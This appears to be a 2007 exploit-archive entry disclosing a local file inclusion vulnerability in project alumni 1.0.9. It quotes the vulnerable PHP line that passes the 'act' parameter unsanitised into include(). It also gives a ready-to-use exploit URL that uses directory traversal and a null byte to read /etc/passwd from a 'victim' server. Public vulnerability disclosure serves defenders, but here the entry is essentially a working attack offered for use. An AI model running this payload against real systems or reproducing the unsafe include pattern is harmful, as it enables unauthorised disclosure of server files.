project alumni 1.0.9 (index.php act) Local File Inclusion Vulnerability

[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]

# Title : project alumni 1.0.9 (index.php act) Local File Inclusion Vulnerability
# Published : 2007-11-27
# Author : tomplixsee
# Previous Title : wpQuiz 2.7 Multiple Remote SQL Injection Vulnerabilities
# Next Title : DeluxeBB <= 1.09 Remote Admin Email Change Exploit

project alumni 1.0.9 remote file disclosure vulnerability
download : https://sourceforge.net/projects/project-alumni/

vulnerable code on index.php
include($_SERVER['DOCUMENT_ROOT'] . "/pages/" . $_GET['act'] . ".page.inc.php");

exploit :
http://victim/path/index.php?act=../../../../../../etc/passwd%00

discovered by tomplixsee

# www.Syue.com [2007-11-27]